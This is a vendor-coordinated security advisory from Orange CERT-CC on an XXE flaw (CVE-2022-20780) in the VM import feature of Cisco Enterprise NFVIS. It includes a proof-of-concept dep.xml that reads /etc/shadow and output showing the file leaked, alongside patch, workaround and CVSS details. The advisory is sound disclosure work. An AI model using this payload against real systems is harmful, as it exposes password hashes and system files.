orangecertcc / **security-research** Public

Code   Pull requests   Actions   **Security 35**   Insights

Cisco Enterprise NFVIS - XML External Entity Injection Vulnerability (CVE-2022-20780)

High **orange-cert-cc** published **GHSA-hrpq-384f-vrpg** on May 6

Package

NFVIS (Cisco)

Affected versions	Patched versions
4.5.1-FC2	4.7.1

Description

Overview

ENCS has the capability to export VMs. Configurations and metadata are compressed with the VM image in a `.vmbkp` archive when `vmExportAction` command is requested.
The `vmImportAction` command is also available, allowing to import `.vmbkp` archives.

This import is vulnerable to an XXE allowing to leak system datas to the CLI and probably to the VM.

Details

The `vmImportAction` is waiting to a `.vmbkp` archive. This archive is a simple `.tar.gz`.
It has to be composed of several files. One of them being `dep.xml`.

`dep.xml` is a XML configuration file describing the `vm_lifecycle`.

An attacker can add an external entity into this XML file. This external entity will be resolved by the EncsManager.

Proof of Concept

In this example we inject the external entity in a `variable` field of a `vm_group` that should be resolved with `/etc/shadow` file.

```
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/shadow"> ]>
<vm_lifecycle xmlns="http://www.cisco.com/nfvis/vm_lifecycle">
  <tenants>
  <tenant>
    <name>admin</name>
      <deployments>
      <deployment>
        <name>ubuntu1</name>
        <vm_group>
          <name>ubuntu1</name>
          ...
          <config_data>
                  ...
            <configuration>
              <dst>user-data</dst>
                          ...
              <variable>
                <name>xxe</name>
                <val>&xxe;</val>
              </variable>
            </configuration>
          </config_data>
        </vm_group>
      </deployment>
      </deployments>
  </tenant>
  </tenants>
  </vm_lifecycle>
```

It results in `/etc/shadow` content being displayed in the configuration file.

```
encs-audit-n# show running-config vm_lifecycle tenants tenant admin deployments deployment
ubuntu1 vm_group ubuntu1 config_data configuration variable xxe
vm_lifecycle tenants tenant admin
 deployments deployment ubuntu1
  vm_group ubuntu1
   config_data configuration user-data
    variable xxe
     val [
"root:$6$TqVe9rHRx8kkXfb$<REDACTED>:18820:0:99999:7:::\nbin:*:18527:0:99999:7:::\ndaemon:*:18527
network:!!:18820::::::\ndbus:!!:18820::::::\npolkitd:!!:18820::::::\nunbound:!!:18820::::::\nrpc
 ]
    !
   !
  !
 !
!
```

Solution

Security patch

Upgrade to Cisco Enterprise NFVIS v4.7.1

Workaround

We recommand to disable external entity resolution in XML parser.

References

https://nvd.nist.gov/vuln/detail/CVE-2022-20780
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-NFVIS-MUL-7DySRX9

Credits

Orange CERT-CC
Cyrille CHATRAS at Orange group
Loic RESTOUX at Orange group
Pierre DENOUEL at Orange group

Timeline

Date reported: September 16, 2021
Date fixed: May 4, 2022

Severity

High 7.4 / 10

CVSS base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	Required
Scope	Changed
Confidentiality	High
Integrity	None
Availability	None

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

CVE ID

CVE-2022-20780

Weaknesses

CWE-611